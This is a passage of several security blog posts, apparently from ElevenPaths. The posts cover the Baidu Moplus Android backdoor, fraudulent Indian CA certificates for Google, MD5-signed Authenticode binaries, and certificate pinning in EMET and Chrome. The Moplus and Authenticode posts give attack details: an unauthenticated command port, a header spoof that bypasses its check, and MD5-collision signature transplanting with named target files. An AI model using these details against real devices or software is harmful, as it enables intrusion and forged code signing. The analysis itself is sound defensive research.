unwanted adware SDK long time ago by the antiviruses. It is interesting as well that the app has been downloaded 5.000 and 10.000 times, but only 3 votes have been given. Too many downloads for so few votes... That make us think about some time of artificial boost with unreal downloads made by the same developers to enhance searching position. Sergio de los Santos ssantos@11paths.com @ssantosv Miguel Ángel García miguelangel.garcia@11paths.com @nodoraiz

Trend Micro has discovered a very interesting problem with an SDK called Moplus that, literally, works as a backdoor for Android devices. The problems here are that this SDK belongs to Baidu (the Chinese biggest search engine); that is used not only by their apps but others; and that some of the apps are in Google Play right now, with millions of downloads. Finding vulnerable devices is just as easy as scanning a network and send some HTTP commands. Aside Trend Micro research, we have discovered some of these apps in Google Play and other curiosities. This SDK is called Moplus. Aside its "official features" it sets up a local HTTP server (the well known nanoHttpd), that listens in different ports, depending on the app and SDK version (probably 6259 TCP port). If connected to that port, nothing is served (documentRoot is at data/data/apkNamefileslocal_http_server)… but it allows the attacker to send POST requests with commands. Defining the port where the server will listen And that is all. Any attacker may send commands to the port via HTTP POST requests with no strong authentication. One of the weakest version only needs the header "remote-addr" to be set to 127.0.0.1. But some others need the referer header to match this. ^http[s]?://[^/]+(.baidu.com|.hao123.com|.hiapk.com|.91.com)(:d+)?(/.*|)$"; If it works, it will execute the orders and return a JSON with the response (given the right permissions, which most of the spotted apps seem to have). What commands does it support? It is very clear with this piece of code: Code with the accepted commands It allows downloading files, and uploading anything. From retrieving the lists of apps to i nserting new contacts. In rooted devices, any new apk could be installed silently. Code to add contacts silently Part of the code to upload files Trend Micro contacted Baidu, that has created a new version that removes most of the malicious commands of the list. They are replacing most of the affected apps. What did we found? Trend Micro talks about thousands of apps affected. With Tacyt, we found the ones using the SDK and still available in Google Play. Some of them with up to 5 million downloads and not related to Baidu at all. A variation of the code with the commands These are some of the packageNames spotted in Google Play (although there will be more, for sure), different from the ones published by Trend Micro (so far): com.qiyi.video.market com.nd.android.launcher91 com.ivodani.comicsisland.activity com.qyer.android.jinnang com.pad.comicsisland.activity com.cubic.choosecar We could not confirm that the commands works the same in all of them. For sure, they contain the offensive code, but maybe with slightly different systems to be able to get in. They should be reversed individually to be sure how to make it work (or if they even work). One of the easiest that we tested, was the very popular Baidu Maps. Not this one, but a previous version (8.7.0). In the image, we use this Chrome plugin to inject POST commands. The result (inserting a contact remotelly) is shown. As you can see, Baidu Maps icon is on the top. Adding contacts with a POST It is worth mentioning that, many of the spotted apks, rely on two different classes.dex files. This means that, once executed, the app may load classes2.dex from its own "main" code, and usually this classes2.dex is the one with the offensive code. An app containing a second "dex" file This is not new. Many malware/adware in Google Play use this trick to try to fool detections. They may download the .dex file from elsewhere, or hold it inside. It is quite interesting finding that, some of the apps were using the "Moplus SDK capabilities" in this second dex file. Aside, one of the most interesting point is that Mobo Launcher, related to the well known Mobogenie market, counts with this code backdoor as well, and it is very popular even outside China. It has been in Google Play since late 2014. In fact, is the oldest in Google Play with this version of the backdoor, as far as we know. Some of the detected apps in Tacyt Although we could not get to make it work and actually send a command (not sure why), the nanoHttp service was up, and code to receive commands is there... s o there are strongs reasons not to trust this app, and reverse it even deeper to know exactly what is happening and how it works. Of course, there are a lot of APKS outside Google Play (aptoide, mobogenie...) with this backdoor as well. The good part is that most of these programs are already detected by several antiviruses, not all of them because of this, but detected, anyway. Sergio de los Santos ssantos@11paths.com @ssantosv Juan Manuel Tirado juanmanuel.tirado@11paths.com

Se han detectado más certificados fraudulentos que pretenden legitimar páginas falsas de Google (aunque podría hacerlo con cualquier dominio). Una entidad de confianza (para todos los Windows) ha firmado certificados falsos, lo que permite que se suplanten las páginas del buscador o que el tráfico cifrado en realidad sea visto por un tercero. Veamos algunas curiosidades. Vuelve a ocurrir por quinta vez desde 2011, de forma muy similar. El 2 de julio, Google se percató de que se estaban usando certificados no válidos de Google, firmados por una autoridad de confianza preinstalada en Windows. En este caso, la organización gubernamental National Informatics Centre (NIC) de India, que maneja varias CA intermedias, todas confiadas en última instancia por el "Indian Controller of Certifying Authorities (India CCA)". Al estar incluida en el repositorio de confianza raíz de Windows, la inmensa mayoría de programas confiarán en el certificado, además de por supuesto Internet Explorer y Chrome bajo Windows. Firefox, como sigue una política diferente de en quién confiar (que se ha mostrado más eficaz) no se ve afectado. Chrome, bajo otros sistemas operativos, tampoco. Recordemos que para esto que suponga un "daño" para un usuario, se deben dar varias circunstancias: Que la víctima sea redirigida al sitio fraudulento donde se ha instalado el certificado falso. Esto puede hacerse por pharming, DNS, o cualquier otro método. Aunque así ocurriese, Google utiliza certificate-pinning para sus dominios de forma predeterminada. Así que si el atacante se limitó a emitir certificados de dominios de Google con la CA de la India, y la víctima visitaba estos sitios falsos con Chrome, el sistema se hubiese quejado. Lo que no han dejado claro aún (habría que estudiar el certificado en detalle) es si estos certificados tienen alguna restricción de uso. Si solo han sido emitidos para validar servidores, o quizás también se pueda firmar código, etc. Ejemplo de hipotético error de certificate pinning en Chrome sobre Eleven Paths En cualquier caso, actualmente, ya no se corre tanto peligro. Los certificados están revocados y Microsoft ha emitido el parche correspondiente, que hace que los tres certificados intermedios (y por tanto cualquier "hijo" creado ilegítimamente) pasen al estado de "no confianza". Incluso si han emitido certificados para otros dominios, y estos no están "pineados", lo más probable es que el navegador se queje. Incluso así, por si fuera poco, Google ha emitido CRLSets actualizados para Chrome que actúan automáticamente sobre el navegador. Algunos de los certificados revocados (falta el de 2014) mostrados en el keystore de Windows ¿Qué son los CRLSets? CRLSets es un método "rápido" de revocación que utiliza Chrome, como ellos mismo dicen, para "situaciones de emergencia". Son un conjunto de certificados que se aglutinan de información de otros CRLs, se descargan de un servidor, y son procesados por Chrome. Aunque el método es absolutamente transparente, la gestión de qué certificados van en la lista es totalmente opaca. No se sabe con qué certificados lo actualizan (a menos que se averigüe por otro lado). Para saber qué conjunto de CRLSets está descargando Chrome en este momento, lo más cómodo es usar este programa, creado en el lenguaje Go. Descargando y volcando el contenido del crlset1718 de Chrome Contenido del CRLSet Al descargar el CRLSet más reciente, se observa un JSON con varios SPKI. Luego una lista de certificados padre, seguido de números de serie de certificados. Como un número de serie se puede repetir entre certificados diferentes, se organizan de esta manera puesto que un padre no debería emitir dos números de serie iguales. En algún punto de esta lista, se encuentran ya los certificados falsificados. El uso de CRLSets no es la mejor manera de proteger de forma global a los usuarios, pero sí es un método rápido con el que Google se permite reaccionar al margen de la industria de las CA. ¿Ataque o no? ¿Por qué siempre Google? Esto ya ha pasado. Es prácticamente la misma situación que ocurrió con el gobierno francés en enero de 2014, Comodo y Diginotar en 2011 y TurkTrust en 2013. Curiosamente, en todos estos casos suelen ser dominios de Google (y en menor medida, Yahoo) los falsificados. Esto supone un riesgo para el atacante, porque llama mucho más la atención. ¿Se han creado certificados para otros dominios diferentes? No lo sabemos. Pero poder espiar las comunicaciones con Google es sin duda un botín más jugoso para atacantes que pretendan espiar que otros que intenten lucrarse... De ahí la siguiente duda. Ha podido ocurrir que el Indian Controller of Certifying Authorities (India CCA) haya sido atacado, o que emitiera esos certificados conscientemente con el fin de espiar y, una vez "cazado" alegue que han sido atacados. Al tratarse de una institución nacional, podría ser usado para el espionaje civil, puesto que tendría la posibilidad de redirigir el tráfico a través de sus propios DNS. Pero como hemos mencionado, el hecho de que el certificate pinning activo de Chrome esté presente, hubiera delatado rápidamente el movimiento, lo que le resta efectividad. También puede ser que solo mencionen los certificados de Google porque esta es la empresa que suele detectar el fraude en sus certificados, y se ocupe de sus propios asuntos, pero existan otros dominios falsificados "ahí fuera". Sergio de los Santos ssantos@11paths.com @ssantosv

Hemos venido hablando de cómo se calcula el hash para validar binarios con Authenticode, de cómo "desfirmarlos" y qué algoritmos se utilizan para hacerlo. En esta tercera y última parte, veremos si es muy normal usar MD5, SHA1 o SHA256 para firmar ficheros con Authenticode y qué peligros representa. Como se anunciaba en la segunda parte, Microsoft recomienda SHA1 (recordemos que no se calcula sobre todo el binario, sino que algunas cabeceras quedan fuera) para el cálculo del hash Authenticode. Sin embargo soporta MD5 y SHA256. Mientras se realizaban las pruebas necesarias para esta entrada, se pudo comprobar que no era raro encontrar programas firmados con MD5. Entre ellos GPG4Win, una suite de seguridad para Windows que ofrece una excelente interfaz gráfica para el uso de GPG y permite el uso de esta criptografía. Este programa, que precisamente debería dar ejemplo este sentido, está firmado con MD5. gpg4win utiliza MD5 para firmar el binario y validarlo con Authenticode ¿Cuál es el problema con MD5? MD5 es el problema. Se trata de un sistema de hash que ha sido derrotado en numerosas ocasiones desde hace ya muchos años. No solo en fuerza bruta sino en el cálculo de colisiones. Es relativamente sencillo encontrar programas que colisionen (mismo hash). De hecho, MD5 es el culpable de que el malware TheFlame, que consiguió robar un certificado de Microsoft yfirmar un binario con él (el santo Grial del malware), se valió de que Microsoft usó MD5 para calcular el hash del certificado. Con respecto a Authenticode, Didier Stevens realiza un interesante experimento en este artículo. Simplemente, copia en bruto una firma Authenticode de un binario a otro. Por supuesto a la hora de validar el hash del fichero, cualquier software indicará que no coinciden. ¿Pero qué pasa si los hashes de dos programas coinciden? La copia de firma seguiría siendo válida. Esto se consigue precisamente si Authenticode se sirve de MD5 para identificar el binario. En resumen, podríamos encontrar un fichero firmado usando MD5 por la compañía X, crear otro con el mismo MD5 y "trasplantar" la firma. Ahora parecería que la compañía X responde por ese binario. Y para encontrar ficheros que, siendo diferentes, tengan mismo MD5, Didier se sirvió de este programa que encuentra colisiones. Dado un hash, calcula un binario diferente con el mismo hash, que puede hacer dos funciones diferentes. ¿Y el propio Windows... lo usa? La siguiente pregunta que se nos viene a la cabeza es, ¿usa Windows MD5 para firmar con Authenticode algún programa importante del sistema? Si así fuera, los creadores de TheFlame podrían haber tenido otro vector de ataque incluso más sencillo para conseguir firmar un binario como si fueran Microsoft. Para saber qué algoritmo se ha usado, normalmente se utiliza botón derecho y propiedades de las firmas digitales. En XP y 7, el dato está aquí: Algoritmo usado para la firma Authenticode Mientras que en 8, la han hecho más visible como se observa en la imagen de arriba. Sin embargo, no estamos al tanto de ninguna herramienta que lo muestre por línea de comando de forma automática. Basándome en una clase vista aquí, se creó una pequeña herramienta en C# que permite mostrar el hash. Pequeña herramienta en C# para mostrar el algoritmo de firma Con esta información, se aplicó el programa al directorio c:windows de cada versión de Windows recién instalada. En el caso de XP SP3: La mayoría, como es de esperar están validados por catálogo (otra forma diferente de validar de la que no hemos hablado). El resto de ficheros firmados lo están con SHA1. Y curiosamente, encontramos algunos ficheros validados con Authenticode MD5: c:windowssystem32xenroll.dll,md5 c:windowssystem32dllcachexenroll.dll,md5 c:windowssystem32dllcachedwil1033.dll,md5 c:windowssystem32dllcachedwil3082.dll,md5 c:windowssystem321033dwintl.dll,md5 c:windowssystem323082dwintl.dll,md5 Estos serían buenos candidatos para "robarles" la firma. Ningún ejecutable o DLL está firmado con SHA256, porque Windows XP no ha soportado este algoritmo hasta el SP3, e incluso no del todo. Si se introduce un fichero firmado con SHA256 en XP, no reconocerá la firma. Se soportó de forma completa en Windows Vista y posteriores. En el caso de Windows 7, afortunadamente, no encontramos ninguno firmado con MD5. La mayoría con SHA1. Hasta 26 con sha256. Entre ellos: c:windowsSystem32winload.exe,sha256 c:windowsSystem32winresume.exe,sha256 c:windowsSystem32Bootwinload.exe,sha256 c:windowsSystem32Bootwinresume.exe,sha256 En el caso de Windows 8: Más de 500 binarios firmados con SHA256. Curiosamente, encontramos algunos drivers firmados con MD5: c:windowsSystem32DriverStoreFileRepositoryhdxtoshiba.inf_amd64_74bf9f63a1fa6d84MaxxAudioAPO20.dll,md5 c:windowsSystem32DriverStoreFileRepositoryhdxtoshiba.inf_amd64_74bf9f63a1fa6d84MaxxAudioAPOShell64.dll,md5... Conclusiones Hemos observado programas que usan MD5 para firmar, pero también queda alguno por "desterrar" en Windows XP, aunque parece que en posteriores versiones se está mejorando el asunto. Aparte de los errores de usar MD5, en rigor, SHA1 también debería estar en "retroceso" (ya en 2010 NIST recomendaba dejar de usarlo), pero sigue siendo amplia mayoría. Aunque no parece estar muy documentado, Microsoft poco a poco ha desterrado el uso de MD5 a la hora de firmar. La herramienta signtool.exe (en el SDK) ya no lo soporta. El comando /fd con la opción MD5 no funciona ya. Por defecto usa SHA1 o permite SHA256. También ha eliminado la opción "wizard" de singtool que permitía el uso de MD5 gráficamente. CYBER SECURITY Una mirada técnica (y curiosa) al sistema Authenticode (I) 9 de julio de 2013 CYBER SECURITY Una mirada técnica (y curiosa) al sistema Authenticode (II) 10 de julio de 2013

Terminamos la serie de certificate pinning con un ejemplo práctico de cómo funciona en Chrome la asociación de certificados. Dispone de una página de pruebas a la que se accede a través de chrome://net-internals/#hsts y en la que se puede experimentar con diferentes posibilidades del navegador. Desde mayo de 2011 se incluyen posibilidades de pinning en Chrome. Todo a raíz de los problemas con los certificados que se vinieron observando desde 2010 y que minaron la confianza en la estructura SSL. Para empezar, lo que hicieron fue incluir en su código fuente los datos de las autoridades que firman certificados de servicios de Google habitualmente (Verisign, Google Internet Authority, Equifax y GeoTrust), descartando DigiCert, que lo hacía hasta ese momento pero, por incidentes variados, ya no resultó de confianza. Detalles de cómo funciona Un detalle importante es saber que en Chrome, si un certificado raíz ha sido instalado por el usuario, se ignora el pinning y lo deja pasar. Esto supone un potencial punto débil en su implementación. La razón es que existen soluciones antivirus o proxies en empresas que necesitan instalar certificados en el equipo para inspeccionar el tráfico SSL u otras razones… y Chrome no quiere romperlas. No es un asunto fácil porque supone un verdadero punto oscuro en el entramado, y realmente le están dando vueltas todavía a cómo solucionarlo, como se observa en las listas públicas oficiales. Dejando de lado este detalle, otro aspecto importante es que Chrome no “mira” el certificado completo para comprobar un certificado, sino la clave pública asociada a él. Esto es interesante. Normalmente, se suele tomar el hash del certificado completo como thumbprint, fingerprint o huella digital para identificarlo. Esto incluye el hash de todos y cada uno de los datos del certificado, no el hash de la clave pública en sí. Lo podemos comprobar fácilmente con OpenSSL. El resultado de su fingerprint es el mismo que el de calcular el SHA1 del fichero con la representación en base64 del formato DER del certificado, y a su vez igual al campo “huella digital” que muestra Microsoft al ver un certificado (y lo que usa EMET). Se resume en esta imagen: Huella digital de un certificado cualquiera, cómo se calcula y de dónde sale Pero Chrome no usa el certificado completo. Piensa que es mejor (da mayor flexibilidad) utilizar la clave pública, o más exactamente lo que se entiende por SubjectPublicKey. Así, si por ejemplo cambia la fecha de caducidad o cualquier otro dato, el pinning sigue siendo válido. Pero también, por otras razones criptográficas, no calcula el hash sólo de la clave pública “pura”, sino de un campo llamado SubjectPublicKeyInfo (junto o separado, según la programación), que incluye otras características de la clave pública (algoritmo, módulo…). Se observa claramente al consultar cualquier certificado con este comando: Sacando el SubjectPublicKeyInfo de un certificado Otro detalle a tener en cuenta es que si bien EMET solamente permitía asociar dominios raíz, Chrome permite asociar cualquier certificado en cualquier punto de la cadena, y será válido. Esto también resulta un arma de doble filo. Se supone que Chrome dice que todo es correcto con la única condición de que aparezca el certificado “asociado” en cualquier punto de la cadena, no necesariamente en la raíz o la hoja… Si no se utiliza bien, puede dejar hueco a los ataques. Probándolo todo Para probarlo debemos aprender a calcular esos hashes que definen a los certificados. Es "simple". Se guarda el certificado que se quiere asociar, y se saca su "clave pública" tal y como la calcula openssl: openssl x509 -pubkey -noout -in certificado.crt Los certificados siempre deben estar codificados en binario. Se eliminan los “BEGIN” y “END”, los retornos de carro y se pasa de nuevo a binario (decodificando el base64). De ese binario se calcula el hash SHA1. Ese hash, en binario, se pasa de nuevo a base64. Para hacerlo en python, resumiendo, hay un script aquí (solo válido con la rama 2 de python). Ahora que tenemos esa información, podemos probar que funciona desde chrome://net-internals/#hsts. Se introduce, según las indicaciones, un dominio y el hash calculado de su certificado. Esto hará que Chrome almacene esa asociación temporalmente. A partir de ahora, si visitamos esa web, aparecerá este mensaje bloqueando el acceso (mucho mejor que el de EMET, porque realmente aquel era un simple aviso, y este impide el paso). En el caso de que el certificado no sea correcto, Chrome mostrará este error Pero solo funcionará si no hemos visitado la página previamente al experimento. Curiosamente, como esta consola es de pruebas, el dominio que no lo solicita explícitamente (que pocos lo hacen) se borra de esa tabla y Chrome lo olvida. Por tanto, esta consola no sirve para asociar sino como banco de pruebas de qué pasaría si los dominios requiriesen el pinning o de qué pasaría si nos estuvieran espiando realmente con un dominio que ya viene “asociado” de serie en Chrome. Un RFC reciente En el borrador de RFC en https://tools.ietf.org/html/draft-ietf-websec-key-pinning se está estudiando que el pinning se incluya en HTTP. O sea, que los dominios envíen información HTTP al navegador sobre sus certificados. Algo del tipo una cabecera con toda la información necesaria: Public-Key-Pins: pin-sha1=”4n972HfV354KP560yw4uqe/baXc=”;pin-sha1=”qvTGHdzF6KLavt4PO0gs2a6pQ00=”;pin-sha256=”LPJNul+wow4m6DsqxbninhsWHlwfp0JecwQzYpOLmCQ=”;max-age=10000; includeSubDomains Que al final se parece a lo que ya tiene Chrome, pero sin tener que modificar el código fuente del navegador, como se viene haciendo hasta ahora para incluir la asociación, sino dotando a las webs de un mecanismo permita solicitarlo. No te pierdas los anteriores posts de esta serie sobre certificate pinning aquí: CYBER SECURITY Certificate pinning: el qué, el cómo y el porqué (I) 25 de agosto de 2013 CYBER SECURITY Certificate pinning: el qué, el cómo y el porqué (II) 27 de agosto de 2013 CYBER SECURITY Certificate pinning. El qué, el cómo y el porqué (III) 2 de septiembre de 2013 Los certificados digitales, al detalle en este artículo:

Después de aclarar conceptos en las entradas anteriores de esta serie sobre certificate pinning (las cuales puedes encontrar al final de este post) acerca de las debilidades de las PKI, el TLS/SSL en general y la solución propuesta por EMET, veamos cómo han implementado el concepto los diferentes fabricantes: es el turno de Chrome. Chrome es el primero que se preocupó por integrar el pinning en su navegador. No es de extrañar cuando fue uno de los dominios suplantados en el conocido ataque de 2011. Además, Google es un objetivo muy goloso para cualquiera que quiera espiar comunicaciones cifradas. Chrome usa fundamentalmente dos tecnologías diferentes que parece que se complementan. La primera es el estándar HTTP Strict Transport Security o HSTS. Se trata de una especificación que permite obligar a que, en una página, se use siempre HTTPS aunque el usuario no lo escriba en la barra del navegador. Para ello, el servidor que lo desee debe enviarle una cabecera al navegador, del tipo: Strict-Transport-Security: max-age=16070400; includeSubDomains Chrome (en realidad todos los navegadores populares menos Internet Explorer) entenderán que la página que envía esta cabecera quiere que se navegue por ella siempre con HTTPS (aunque el usuario no lo haya especificado) y durante el tiempo definido. Hasta aquí, no se habla de certificados, así que, ¿por qué lo unen a la funcionalidad de pinning? HSTS y pinning La respuesta a la pregunta anterior es la siguiente: porque esta opción de la página para ser navegada por HTTPS (lo quiera o no el usuario) la envía el servidor y se guarda en local. Se da un primer contacto del usuario al servidor en el que todavía no se ha recibido esa cabecera, esa petición no está protegida, hasta que se reciba la respuesta y la recuerde el navegador. ¿Y si un atacante ya controla la red desde esa primera solicitud sin HTTPS, intercepta esa primera petición y desvía el tráfico o elimina la cabecera? Siempre habrá una ventana de tiempo inicial en la que un ataque es posible. Así que Chrome ha incorporado en su código fuente páginas que siempre funcionarán con HTTPS activo, desde el principio: "Preloaded HSTS sites" las llama. Esa lista se comparte con Firefox y cualquier dominio puede solicitar que se le incluya en el código fuente como "precargado con HSTS", enviando un email a alg@chromium.com. Ya hay muchos (se ve en el código fuente). Con esto se consigue que, nada más arrancar Chrome, se vaya al dominio HTTPS de la página, y a partir de ahí (que se supone que es el sitio autenticado) continuar. Esto también es una especie de pinning. Si el dominio lo desea, puede dejar de enviar la cabecera en cualquier momento, y el navegador ya no obligará al uso de HTTPS. Este sistema es interesante, pero el hecho de utilizar el código fuente como "repositorio" de páginas que quieren usar "HSTS precargado" desde el primer momento no parece muy sostenible a largo plazo. ¿Están cubiertos todos los flancos? Ahora bien, sigue existiendo un punto débil. ¿Y si, aunque siempre se contacte desde el primer momento con estos dominios con HSTS (y por tanto con SSL activo) en una red muy hostil, ya se ha producido el ataque MiTM y se le redirige a una web cifrada diferente? Puede ocurrir que se la víctima visite un dominio HSTS preinstalado, pero pase por una red donde la cadena de certificación sea válida pero no la original (se le esté espiando)... ¿Y si cuando el navegador acude obligatoriamente al dominio autenticado, la autenticación no es real porque se están usando certificados intermedios diferentes o se han emitido falsos? Ahí entra el certificate pinning propiamente dicho. El navegador, además de exigir SSL desde el primer momento, independientemente de que el usuario escriba HTTPS en la barra de direcciones, recordará qué claves públicas le son reconocidas y rechazará el resto. ¿Cómo funciona todo esto en la práctica? Veremos algunos ejemplos técnicos de cómo funciona el "pinneo" de Chrome en la siguiente entrega: CYBER SECURITY Certificate pinning: el qué, el cómo y el porqué (IV) 9 de septiembre de 2013 Y no te pierdas los posts anteriores de esta serie sobre certificate pinning: CYBER SECURITY Certificate pinning: el qué, el cómo y el porqué (I) 25 de agosto de 2013 CYBER SECURITY Certificate pinning: el qué, el cómo y el porqué (II) 27 de agosto de 2013 Más contenido sobre certificados digitales en este post:

Después de aclarar conceptos en la entrada anterior sobre las debilidades de las PKI, el TLS/SSL en general y las soluciones propuestas, veamos cómo han implementado el concepto los diferentes fabricantes. El cómo... de Microsoft Esta es quizá una de las soluciones más interesantes, por ser simple y sencilla para el usuario. No precisa de cambios en ninguna aplicación o protocolo, y está integrada en una herramienta tan “necesaria”, que para los paranoicos no implica instalar nuevo software. Lo que ha hecho Microsoft es integrar la funcionalidad de certificate pinning en EMET, una de las herramientas de seguridad más interesantes (en el plano defensivo) que existen. En su versión 4.0, añadieron la posibilidad de “unir” dominios con certificados raíz del repositorio de certificados de confianza del usuario. Fundamentalmente esa es la idea. El funcionamiento es como el de EMET “de siempre”. Internamente inyecta una DLL (EMET_CE.DLL) en el proceso de Internet Explorer (que debe estar protegido por EMET a su vez) y comprueba que el dominio del certificado coincide con la regla establecida. Si no es así, muestra un mensaje. El resto de opciones disponibles permiten no ser tan restrictivo. Por ejemplo, se puede bloquear por algoritmo de hash (si es menor que MD5), o a un país concreto (sería extraño que China fuese el país final en el que confía un certificado emitido para Google, por ejemplo) y así no tener que unirlo a un certificado concreto. En cualquier caso, lo más restrictivo es unirlo a un certificado concreto.Para añadir reglas, se debe comprobar la cadena de certificación de dominio, buscar el adecuado y efectuar la asociación. Las asociaciones quedarán configuradas en un XML junto al programa. Ya viene preconfigurado con algunos dominios populares. Curiosamente, no aparece Google como regla preestablecida, pero sí Facebook y Twitter. Quedan empate en esta tontería, porque Google (aunque puede solicitarlo cualquiera) tampoco preconfigura nada de Microsoft en el sistema de pinning de Chrome. Los "problemas" El hecho de unir certificados raíz con dominios deja un hueco en los certificados intermedios. Si son modificados, EMET no protegerá la conexión. Esta es su principal desventaja. También que todo ocurre en local y de forma manual. No hay espacio para la actualización dinámica de los dominios u otros certificados. Aunque es cierto que los certificados raíz de la mayoría de los dominios no cambian a menudo. La alerta que propone EMET no bloquea el sitio, sino que muestra una pequeña ventana emergente. Algo poco apropiado para el usuario final. Los certificados raíz que se pueden enganchar en un dominio para crear reglas, solo se toman del repositorio del usuario, no de la máquina. Esto no es grave pero en entornos corporativos puede complicar la administración. Es importante señalar que una misma clave pública puede estar firmada por diferentes certificados. Es una práctica habitual de las CA que podría provocar falsos positivos. Pero lo solucionan determinando los certificados por dos vías: una tupla de [emisor, número de serie] (que según el RFC debería ser única) o por el campo "SubjectKey" que es el SHA1 de la clave pública "desnuda" del certificado. Es una decisión diferente a la tomada por Chrome, por ejemplo, que los identifica de otra manera argumentando que usar SubjectKey no es del todo acertado. También es necesario tener en cuenta que dependiendo del país o de la conexión, la cadena de certificación que "ve" el usuario final puede variar. Por tanto unirlo exclusivamente a un certificado raíz puede dar pie a falsos positivos. La configuración La configuración es sencilla. La siguiente imagen resume la secuencia necesaria para añadir Google. Hay que consultar el certificado, comprobar cuál es el raíz en el que confía finalmente la conexión, mirar su huella digital y añadirla como regla encontrando el certificado en el repositorio. Resumen de la configuración de una regla para Google.es En caso de error, la ventana que aparece es la siguiente: Pequeña ventana emergente que aparece cuando no casan los certificados y dominios definidos. También se registra un evento en el sistema. La apuesta de Microsoft es simple y fácil de implementar, pero queda fuera de su navegador, en un programa externo muy útil pero, francamente, poco popular hoy en día (aunque personalmente creo que evolucionará hasta formar parte integral del sistema operativo). Teniendo en cuenta que otros han elegido integrarla directamente en el navegador, no se sabe si esto quiere decir que se trata de una "tímida" apuesta por el pinning en Microsoft, o que han sacado esta solución mientras preparan algo más elaborado integrado en Internet Explorer. No te pierdas los otros posts de esta serie sobre certificate pinning: CYBER SECURITY Certificate pinning: el qué, el cómo y el porqué (I) 25 de agosto de 2013 CYBER SECURITY Certificate pinning. El qué, el cómo y el porqué (III) 2 de septiembre de 2013 CYBER SECURITY Certificate pinning: el qué, el cómo y el porqué (IV) 9 de septiembre de 2013 ¿Quieres saber más sobre certificados digitales? No te pierdas el siguiente artículo:

Últimamente se usa mucho este concepto. Las muestras de debilidad de las PKI y el TLS/SSL en general han llevado a pensar soluciones contra este problema que pone en riesgo las entrañas del cifrado en la red. Certificate pinning no es un método, sino sólo eso, un concepto que cada uno interpreta a su manera. Aclaremos conceptos. Por qué Porque SSL tiene, entre otros, un claro punto débil: la cadena de certificación. Cuando se visita una web bajo SSL, se producen una serie de muestras de confianzas en cadena, normalmente con tres pasos: El dueño del dominio configura su servidor para que él y sólo él disponga del certificado asociado a ese dominio. El usuario que lo visita confía en que ha acudido al dominio correcto y que el certificado que se le presenta, está aprobado por una CA válida. Sería como pedir el DNI a una página web, y comprobar que el Estado lo ha validado. Pero no lo ha validado el Estado directamente. Ese certificado es aprobado por una autoridad certificadora intermedia, en la que la CA raíz delega (por segregación y seguridad) la firma de certificados de terceros. Esta autoridad firma la relación entre el dominio y el certificado. En las autoridades se confía porque lo dice tu navegador, poco más. Vienen preconfigurados con una serie de certificados raíz en los que se confía. Cadena de confianza alterada. No se confía en la CA que se supone ha emitido ese certificado Los puntos débiles son obvios y se han dado casos de todo tipo: Gobiernos o empresas que han introducido entidades intermedias. Se desvía el tráfico y se introducen servidores intermedios en los que las autoridades certificadoras confían. Los servidores intermedios pueden descifrar y cifrar el tráfico de forma transparente para el usuario, y la cadena de confianza queda "intacta", aunque con más pasos. En enero de 2013 se supo que Nokia descifraba en sus servidores el tráfico SSL de sus teléfonos. Se sospecha que ciertos gobiernos también puede estar interceptando comunicaciones cifradas entre su población. Si se comprometen las certificadoras raíz o intermedias, un atacante podría crear certificados para cualquier dominio, y firmarlos. Si al usuario se le desvía el tráfico (por envenenamiento DNS, pharming, etc) y acaba en ese dominio, la cadena de certificados seguirá aparentemente igual. La CA delega en la CA intermedia y esta en el certificado. Esto ha ocurrido a niveles preocupantes. El caso Diginotar (agosto 2011), Comodo (marzo 2011) y TURKTRUST (enero de 2013) son los más sonados. La lista de certificados en los que no se confía ha crecido bastante en los últimos años Entendemos entonces que el problema es que los certificados finales o intermedios pueden cambiar y el navegador del usuario no mostrará ninguna advertencia, puesto que la cadena de confianza se ha modificado, pero no se han “roto”.El atacante ha podido firmar certificados para dominios que no le pertenecen, introducir sistemas intermedios, o incluso alterar los certificados raíz en los que confía máquina… pero todo viene a ser lo mismo: la cadena de confianza alterada. Y eso debe levantar siempre sospechas, porque los certificados de dominios no suelen modificarse a menudo. ¿Por qué no recordar esas cadenas de confianza y alertar al usuario cuando se modifiquen? El qué Esta es la idea detrás del certificate pinning, ahora es necesario implementar el concepto. ¿Cómo hacerlo? Por ahora no hay ningún estándar globalmente aceptado. Los navegadores más populares están tomando caminos diferentes, construyendo encima de lo que ya existe, sin querer modificar demasiado ningún protocolo. Pero también hay propuestas más profundas, que involucran algún cambio más o menos importante alrededor: Moxie Marlinspike y T. Perrie que han propuesto hace tiempo una extensión al propio protocolo TLS para permitir el "pinneo" de certificados. Se llama TACKS (Trust Assertions for Certificate Key). DNS-Based Authentication of Named Entities es un RFC que habla de asociar TLS a los dominios en cierta manera. Requiere modificar el DNS. HSTS junto con la incrustación en el código, es el camino tomado por Google y Chrome. HSTS Requiere, en cierto modo, un cambio en HTTP, pero ya está en marcha en sus navegadores y no se centra tanto en el "pin" sino en la obligación de usar SSL. Y luego está la propuesta de EMET y por tanto de alguna manera, el camino tomado por Microsoft. EMET (que viene siendo imprescindible) es el único que no requiere ningún cambio en el navegador o protocolo, lo que no significa que sea el mejor... aunque cómodo, sufre sus limitaciones. Así está el asunto, veremos en las siguientes entregas puedes ver cómo están funcionando ya Chrome e Internet Explorer, estudiando sus propuestas: CYBER SECURITY Certificate pinning: el qué, el cómo y el porqué (II) 27 de agosto de 2013 CYBER SECURITY Certificate pinning. El qué, el cómo y el porqué (III) 2 de septiembre de 2013 CYBER SECURITY Certificate pinning: el qué, el cómo y el porqué (IV) 9 de septiembre de 2013 Descubre todo lo que necesitas saber sobre certificados digitales:

Hace pocos días se ha dado a conocer que el popular periódico Washington Post sufrió un ataque coordinado y su web fue comprometida. Lograron redirigir a los visitantes a una página panfletaria. Se sabe que un simple phishing a ciertos reporteros ha supuesto una parte del origen del problema. Nada fuera de lo común, pero después del incidente cabe reflexionar, ¿cuántos errores en cadena se han cometido y cómo se podría haber evitado? El autodenominado grupo de atacantes Syrian Electronic Army, consiguió tomar cierto control de la web del prestigioso periódico. La propia cabecera admitió que una parte del ataque comenzó el robo a un reportero de deportes la cuenta de correo a través de una simple falsificación del portal interno de Outlook. ¿Qué errores se esconden tras este incidente? 1) Como todo ataque, comenzó con algo de investigación. Los atacantes recopilaron nombres y cuentas de correo de reporteros (al parecer los que disponían de cuenta en Twitter). A estos les enviaron correos personalizados "que parecían venir de colegas de trabajo" invitando a introducir su contraseña de email puesto que al parecer la sesión había "expirado". Aunque en algunos casos sea inevitable, conviene controlar en lo posible la fuga de información sensible que pueden suponer datos como el correo, nombres o direcciones URL internas que se pueden filtrar a través de diversos medios, como metadatos, cuentas personales de trabajadores en redes sociales... Esta es una asignatura pendiente para muchas empresas, que facilitan la labor de investigación previa de muchos atacantes. 2) Como se puede apreciar en la imagen del ataque real, el correo 